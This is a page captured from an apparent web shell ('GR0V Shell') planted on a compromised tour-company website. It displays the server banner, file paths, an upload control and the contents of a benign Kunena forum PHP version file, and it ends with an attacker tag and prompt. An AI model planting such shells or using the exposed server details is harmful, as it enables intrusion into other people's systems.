? GR0V Shell

GR0V shell

Linux www.koreapackagetour.com 2.6.32-042stab145.3 #1 SMP Thu Jun 11 14:05:04 MSK 2020 x86_64

Path : /home/admin/public_html/old/board/components/com_kunena/lib/
File Upload :
Current File : /home/admin/public_html/old/board/components/com_kunena/lib/kunena.version.php

<?php
/**
* @version $Id: kunena.version.php 4338 2011-01-31 07:28:46Z fxstein $
* Kunena Component
* @package Kunena
*
* @Copyright (C) 2008 - 2011 Kunena Team. All rights reserved.
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL
* @link http://www.kunena.org
*
* Based on FireBoard Component
* @Copyright (C) 2006 - 2007 Best Of Joomla All rights reserved.
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL
* @link http://www.bestofjoomla.com
**/

// no direct access
defined( '_JEXEC' ) or die();


require_once (JPATH_ROOT  .DS. 'components' .DS. 'com_kunena' .DS. 'lib' .DS. 'kunena.defines.php');

class CKunenaVersion {
	/**
	* Retrieve Kunena version from manifest.xml
	*
	* @return string version
	*/
	function versionXML()
	{
		$data = JApplicationHelper::parseXMLInstallFile(KUNENA_FILE_INSTALL);
		if ($data) {
			return $data['version'];
		}
		return 'ERROR';
	}

	/**
	* Retrieve installed Kunena version as array.
	*
	* @return array Contains fields: version, versiondate, build, versionname
	*/
	function versionArray()
	{
		return Kunena::getVersionInfo();
	}

	/**
	* Retrieve installed Kunena version as string.
	*
	* @return string "X.Y.Z | YYYY-MM-DD | BUILDNUMBER [versionname]"
	*/
	function version()
	{
		$version = CKunenaVersion::versionArray();
		return 'Kunena '.$version->version.' | '.$version->date.' | '.$version->build.' [ '.$version->name.' ]';
	}

	/**
	* Retrieve installed Kunena version, copyright and license as string.
	*
	* @return string "Installed version: Kunena X.Y.Z | YYYY-MM-DD | BUILDNUMBER [versionname] | © Copyright: Kunena | License: GNU GPL"
	*/
	function versionHTML()
	{
		$version = CKunenaVersion::version();
		return JText::_('COM_KUNENA_INSTALLED_VERSION').': '.$version.' | '.JText::_('COM_KUNENA_COPYRIGHT').': &copy; 2008-2011 <a href = "http://www.kunena.org" target = "_blank">Kunena</a>  | '.JText::_('COM_KUNENA_LICENSE').': <a href = "http://www.gnu.org/copyleft/gpl.html" target = "_blank">GNU GPL</a>';
	}
}
?>

T1KUS90T
  root-grov@210.1.60.28:~$